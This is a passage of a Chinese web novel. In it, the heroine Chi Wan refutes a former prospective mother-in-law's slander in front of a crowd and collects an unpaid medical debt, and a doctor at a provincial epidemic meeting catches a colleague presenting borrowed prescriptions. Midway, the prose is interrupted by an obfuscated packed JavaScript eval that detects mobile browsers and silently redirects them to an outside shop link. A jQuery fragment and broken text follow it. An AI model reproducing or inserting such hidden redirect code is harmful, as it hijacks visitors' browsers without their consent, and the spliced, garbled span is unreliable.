祝向阳素来知道,他这个徒弟从不说大话。但他还是没想到,庞万里这次说的事这么重要。 他这次本来在京市开会,提前被叫回来,就是要在省内和一些专家一起研究下,商讨出一系列有效方案,以便应对越来越多的乙脑患儿。 现在各医院都在开展抗生素治疗,这种危重症,首诊由中医接诊的有限。有不少患儿经抗生素治疗效果不理想,这才由省人民医院牵头,打算召集一些有水平的中医,找出攻克这次乙脑流行的方法。 没想到,他们这边还没有开始研究呢,他那个徒弟居然和一个小丫头鼓捣出了成果。 想到这儿,他告诉庞万里:“你的方案我觉得有道理,但我最近刚回来,还没看到那些患儿,所以是否适用,暂时还不能确定。我这边会尽快给你回复的。” “还有那个小丫头,稍后有空了,你带她来见见我吧。” 庞万里赶紧答应了:“行,她要是同意的话,改天我带她去见您。” 两人又聊了几句近况,互通了地址,便挂断了电话。 从邹副书记办公室里出来,又出了公社院子,在公社旁边,有一家邮局。庞万里就在邮局门口碰到了一个眼熟的人。 这人姓曲,是区医院的一个大夫。 “曲大夫,你也在这儿啊?”他随口问道。 “啊,对,我来办点事。”曲大夫似乎并不打算跟他多说,匆匆推开邮局大门,走进了邮局办事大厅。 邮局大厅里可以寄信寄邮包,也可以打电话、发电报。庞万里也不知道曲大夫要干什么,他不是个爱管闲事的人,打过招呼就走了。 回到安置点时,已是半个小时之后,他打算先去找池晚,跟她说下他恩师的事。 但他找了几个地方没看到池晚,便拉住一位老乡,问他:“池晚呢?” “你说下泉水那个小大夫吧?她以前那个对象跟他妈来了,好像要吵架。” 对这件事庞万里有所耳闻,也知道那家人发达之后就想甩了池晚。 想到这儿,他多少有些不放心,赶紧顺着老乡指的方向走了过去。 15.大灾,大疫 防治大会召开 人群集中在池晚平时住的帐篷门口,庞大夫挤进人群时,看到公社邹副书记和冯院长都在,连部队上的几个同志也在。 在人群中间,站着一对面生的母子,池晚就在他们对面。 这时人还不怎么多,不少人还在往这边赶,看样子,冲突刚刚发生。 戴眼镜的男青年拽着中年妇女衣袖,在她旁边小声说:“妈,不是说好了,来还钱,你说那些干什么?” 中年妇女用力甩开他的手,指着他鼻子斥道:“瞧你那个窝囊样,让人泼一身脏水都不知道为自己说句话。我有你这样的儿子,这辈子真是操不完的心。” 这番话说出来,难免会让周围的人产生疑惑,知道汪辉与池晚关系的人,都认为两个人分手是汪家人的错。 汪辉妈妈赵静宜这几句话顿时让人心生疑窦,有些人的眼神便在池晚和汪家母子之间来回移动,仿佛想通过这个动作探究出外人所不知的内幕。 赵静宜要的就是这个效果,眼看池晚沉默不语,她又吊足了众人胃口,这才说:“晚晚,本来这事我是不想跟外人说的。可是你这丫头一点都不念旧情,还搞出假药方,想让我家汪辉给你多拿钱盖房。你这样阿姨实在没法再帮你隐瞒了。” 池晚早料到这事没那么好办,那笔钱不是小数,相当于一个成年人好几个月的工资,汪家人不会轻易把钱掏出来的。 “有什么不能说的?你说来听听。”池晚情绪稳定,并没有被赵静宜这番话带着走。 李翠香看不惯赵静宜这番做作的姿态,在旁边嘲讽道:“你这人说话能不能痛快点?在这儿装什么呢?” 赵静宜没有搭理李翠香,反倒露出委屈和冤枉的神情,跟周围的人说:“我儿子前些天跟池家丫头分了,这件事乡亲们肯定都知道了。你们是不是都以为,我们家日子好了一点就翻脸不认人了?” “本来就是这样啊,不是这样那是因为什么?”有个老乡反问道。 听他这么说,赵静宜激动地拍了下手,声音上扬了几分:“这真是天大的冤枉,我们汪家怎么可能做这种事?今天我也豁出去了,我要是再不说实话,就让唾沫星子给淹死了。” 说到这儿,她指着池晚说:“池晚,你还记得吧?上个月底,我去下泉水准备帮你汪叔叔收拾东西回区里,就那天,我亲眼看见你在柴禾垛后边跟一个男的抱在一起,你……你说发生这种事,我家汪辉还怎么跟你处下去?” 这个消息如同炮弹入水,炸起一片乱轰轰的议论声。 梁含璋本来不在这儿,他是被小田叫过来的。这几天他在安置点上也听说了一些跟池晚有关的事,晓得她最近事事不顺,爸妈都不在身边,没了工作也被退了亲。 他并不知道池晚以前找的婆家是什么样的人,现在瞧见汪家母子这番作派,即使他还不知道真相,仅凭直觉也能看出来,赵静宜这些指控恐怕是捕风捉影。 在理亏的情况下,她企图用污名化的手段抹黑池晚,以达到给自家人洗白的目的。 就是不知道池晚能不能应付得来?这种事,如果只知道哭泣争辩,恐怕是难以堵住悠悠众口的。 即使在场有些老乡也认为这件事就是莫虚有的,但很多人其实并不在意真相,只在意这件事有没有好笑的谈资。 好在池晚一直很镇定,哪怕周围有人已经议论起来,也没有因此而失态。 冯院长有点看不下去了,这种抹黑的话足可以毁掉一个人,这个妇女怎么这么恶毒? “这位同志,没证据的话可不能乱说。” “我才不是乱说,我看得清清楚楚,就是她跟一个男的抱在一起。” 池晚见赵静宜言之凿凿,淡淡地看了眼汪辉,此时汪辉已垂下头,不敢跟她对视。 周围很安静,池晚明白,很多人都在看她接下来的反应。 “汪辉,你就这么看着你妈诋毁我?早知道你家人是这种人品,当初我爸就不该把你爸从死亡线上拉回来,还治好他一双腿。” “还有你,赵静宜,既然你说得如此肯定,那你说说,事情发生时是几点,在哪条街,当时是什么天气,那个男的穿什么衣服,身高体重都是多少?” 李翠香这几天经常跟池晚在一起,安置点上男人多得是,还有很多帅气的小战士,她从未看到池晚和谁牵扯不清,所以在她心里,池晚就不是赵静宜说的那种人。 于是她也质问道:“对呀,你说的那么肯定,那你说说那个柴禾垛大概多高,柴禾垛周围的房子和院墙都是什么样的,旁边有没有电线杆子,还有那段路是用什么铺的,你倒是说呀?” 池晚和李翠香的话也给周围的人提了醒,如果说赵静宜那天真看到了池晚与他人不轨,那这些细节问题她就算不能全记清楚,至少能知道一部分吧。 赵静宜没想到池晚会这么镇定,在她记忆中,池晚一向不擅与人争执,仅有的一次吵架,还被别人气得说不出话来,根本不知道怎么回击。 正是吃定了这一点,她才特意选在安置点这种人多口杂的地方。只要能吃定池晚,就能达到洗白自家人的目的,说不定还能把那一大笔药费给省了。 面对池晚和李翠香抛出来的一堆问题,赵静宜有点慌。 那事就是她编的,她哪儿知道柴禾垛和周围的房子院墙都是什么样,至于那个男人,根本就不存在,真让她说她哪儿能说得清楚。 “你们胡说什么,都过去那么多天了,一下子我哪儿能记得起来?” 妞妞妈在旁边阴阳怪气地说:“是记不起来还是根本就没有这事儿啊?” “这位大姐,我要是说你跟一个男的抱在一起,这事你怎么说?” 妞妞妈这番话引起一阵哄笑,众人再看向赵静宜,这时大家基本上都已猜出来,这种事就是赵静宜瞎编出来的。 想明白这一点,有不少人替池晚不值,汪家人这也太差劲了,怎么这么坏呢? “我说的都是真的,那男的比池晚高半头,不胖不瘦,穿着绿衣服,脚上是胶鞋。我没看到他脸,谁知道他长什么样?”赵静宜争辩道。 见她死不承认,李翠香气愤地说:“我说这位同志,你这人心眼怎么这么坏呢?拿这种话糊弄谁?我刚才问你柴禾垛什么样,旁边的房子和院墙啥的你怎么不说,你根本就不知道吧?” 李翠香问的这些问题赵静宜实在是编不出来了,这些细节她要是胡编的话,很容易会被下泉水的村民给戳穿,她平时就不住下泉水,对那边的环境不熟,根本编不出来。 池晚淡淡看了她一眼,转向汪辉,问他:“上次让你把药费账单带回家去,让你们筹钱,账单的事你认吧?钱都准备好了吗?” “还有你,赵静宜,听说你在区里的副食商店卖菜,关于你今天的所作所为,以及我父亲这几年对你家人的照应,我会抽时间找你们领导聊聊。” “现在我不想再跟你这个纠缠这个话题,我只谈钱。” “欠债还钱,天经地义,这件事你别想赖过去。” 汪辉来这儿之前,是准备低调地把钱还给池晚就走人的。他妈事前完全没有跟他通过气,这让他极为被动,此时他难堪得想钻进地洞里去。可惜这里并没有洞给他钻。 “说了,我来给你送钱,谢谢这几年你家人对我爸的照顾。” 汪辉说话声音不大,但众人都能听得清。 他伸手从赵静宜兜里掏出一个钱包,赵静宜气得脸色发白,但在众目睽睽之下,她没办法当众把钱包抢回来。 钱包里有八十块钱,这些钱要是都给了池晚,接下来的日子就不好过了。 没想到,汪辉又从自己兜里掏出一沓钱,和那钱包里的八十全都递给池晚,说:“钱包里有八十,这五十五是我找人凑的,就这些了,你要不要数一数?” 周围静默一片,都在看着汪辉和池晚的动作。 大家都看得出来,相比于赵静宜这个母亲,汪辉至少还有个人样。 池晚大概看了看,没有细数,接过钱后,她面无表情地说:“账单上那些药费,我是按照批发价算的。如果我完全不顾这些年双方的情分,这个价格至少还要上浮三四成。所以赵静宜,你要记住,别再让我听到什么不好的话,否则这笔账还没完,你们还得给我四五十块钱。” “至于你单位,我还是要找机会去的,关于你造谣诽谤的事,我希望你单位里的人也听听。除非你能给我一个让我满意的理由。” 赵静宜又急又气,当着这么多人,她又拉不下面子求池晚不要去她单位闹事。 急怒交加之下,她指着池晚厉声说道:“你这么厉害,就不怕以后找不到婆家要你?” 邹副书记听说过汪辉这个人,汪辉当初能进入文化局,还是由公社举荐上去的,当初他还在一些文件上盖了章。没想到,汪辉妈妈私下里会如此不堪。 冯院长等人也暗暗替池晚不值,池映川给汪辉爸爸调理了几年身体,把一个快要死的人治好,费了多少心力,用了多少药材,等来的却是这种结果。这种事换到谁身上都寒心。 冯院长正替池晚担心着,就见池晚轻蔑地看向赵静宜,说:“你先操心操心自家事吧,我的事与你无关。” “摊上你这样虚伪的老绿茶婆婆才是倒了大霉,能远离你家就是福气。改天我得买一挂鞭炮放放,去去晦气。” 老绿茶,那是什么东西? 众人都能听得出这不是个好词,就是不知道具体意思。 赵静宜也不知道老绿茶是什么,但她清楚池晚这是在当众骂她。 见她还要闹,汪辉感觉自己再也忍不下去了,他不顾赵静宜反抗,拉着她就往外走。 “行了行了,都散了吧。”看着众人还在这儿聚着,邹副书记伸手把人都赶走。 池晚朝着刚才帮她说话的几个人道了谢,便沉默地钻回了自己住的帐篷。看她安静地坐在那里想事情,谁都不敢过去招惹她。 梁含璋往帐篷里看了几眼,总感觉池晚没有之前看到的那么有鲜活气,看上去情绪有一点低落。 “走吧,还有最后一批人,把他们都接回来,明天就开始清淤了。”梁含璋回头准备带小田划船再次出发。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16852639|191139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 听老乡说,池晚叔叔婶婶就在最后一批等待救援的人群里。他们本可以早点回来,不知道为什么,这对夫妻一直挺谦让的,每次都让他们先送其他人去安置点。 傍晚时,位于省会平州市的省人民医院里仍有很多大夫在上班。 由于电力不足,除了要紧科室,其他房间都没开灯。确有需要的话,得靠蜡烛照明。 但省人院五楼的会议室里却灯火通明,因为这里正在召开一场紧急会议,大会议题就是关于汝宁省乙脑疫/情防治讨论会。 在传染病防治领域,祝向阳是省内当之无愧的专家。 他治病时不拘一格,常用经方,对于温病也颇有研究。所以,这次会议,他坐在最靠近主位的位置。 主持会议的是省卫生部门的一位领导,经过初步统计,这次汝宁省乙脑大流行,已经死亡的患儿多达二十几人。尚有数百名儿童在住院接受治疗,没入院或者尚未确诊的还不知道有多少。 按这个趋势继续发展下去,不加以有效干涉的话,会达到什么后果,谁都无法预料。 “好了,诸位专家都到齐了,来咱们这儿开会的,有咱们全省十二个市的代表。关于这次乙脑大流行,大家有什么意见,可以各抒己见,都谈谈。最好能在短期内,研究出一系列有效的方案。” 卫生部门领导发话后,先后有好几位中医大夫发言。 祝向阳下午抽空去人民医院呼吸科走了一趟,对于这次乙脑患儿的发病特点已有所了解,所以他在听那些人的想法时,也拿出了庞大夫跟他说的方案。 比较之下,他越听越觉得庞大夫和池晚研究出来的方案更好。 针对不同的病例,他们会有所变通,不会死用一个药方。病情复杂的话,还会分几步治疗,遵循了急则治其标、缓则治其本的原则。 最重要的一点是,庞大夫和池晚治疗这次乙脑流行的宗旨在于通阳利湿、通利三焦。这一点,跟他下午对那些患儿诊断后所得出的结论是一致的。 发言的几位大夫也各有可取之处,祝向阳一边听一边认真地做着笔记。 祝向阳垂着眼正做着笔记,他斜对面的一个大夫站了起来。 此人姓曲,是花城市第三医院的大夫,祝向阳认识他,曲大夫的老师跟祝向阳算是平辈。 看着曲大夫站起来,祝向阳淡淡一笑,心下有几分不以为然。 大家都是圈里人,他自然知道,曲大夫老师属于理论派,说起来头头是道,至于说治病的话,有没有效果这可就不好说了。 原以为曲大夫说不出什么有用的话来,几分钟后,祝向阳便拿起手边的纸,对照着曲大夫写在小黑板上的药方,来回看了几遍,确认曲大夫写的方子跟他这张纸上的完全一样。 这事有点意思了,想到徒弟庞万里打电话时叮嘱他的话,祝向阳冷笑了下,等曲大夫话音落下,祝向阳开始发言。 “曲大夫,你这几个药方,有没有实际使用在患者身上?有的话,有没有详细的病历?” “你知道的,现在流行趋势越演越烈,需要我们有足够把握,才能把这些药方应用在患者身上。因为,患儿等不起,家长们等不起,家有孩子的老百姓也等不起。” 祝向阳抛出这一堆话,打算先给曲大夫制造些压力,试试他的反应。 连续几个等不起,确实让曲大夫产生了紧张的情绪。 但这事儿要是成了,就是个极大的功劳,他以后评职称或者升职都会顺利许多。 所以他肯定地说:“自然在患者身上用过,至于病历,也是有的。不过今天太晚了,要看病历,恐怕得等明天才行。” 祝向阳疑惑地说:“这次开会通知你没收到吗?如果有病历,理应提前准备好,并带到会上供大家查看。明天咱们都有事,哪有那么多时间凑到一起?” 此时,会议室里的人多少听出一些味道来,祝向阳似乎有点针对曲大夫啊? 曲大夫看出来了,而祝向阳也没有打算隐瞒。 他现在已经确认,曲大夫的方子就是从鹿鸣公社的安置点流出来的。那里人多,方子又没有对安置点的大夫和领导们隐瞒,但凡哪个人有心,就可能把方子泄露出去。 但是,只有这几个方子,却不明白具体原理的话,要想成功地运用到患者身上,是不行的。 所以,祝向阳有信心,就算把这些方子交到曲大夫手上,他也用不好。因为用到其他患者身上时,这些方子还会有一些变化。 想到这儿,他又指着黑板下方两个药方追问道:“既然病历没带,那你能不能给大伙说说这两个方子为什么会不同?” “关于紫雪丹,还有香薷的使用,具体到患儿身上,患儿具有哪些特征,才要用紫雪丹或者香薷?” 主持位上的领导搓着下巴,静静地看向黑板前准备解说的曲大夫,他也想听听对方怎么解释。 没有实际病历,没看到被治愈的患儿,他这个主事人也不敢随便拍板。 因为一旦任务失败,他可是要担责的,所以祝向阳问的问题,他也想要得到答案。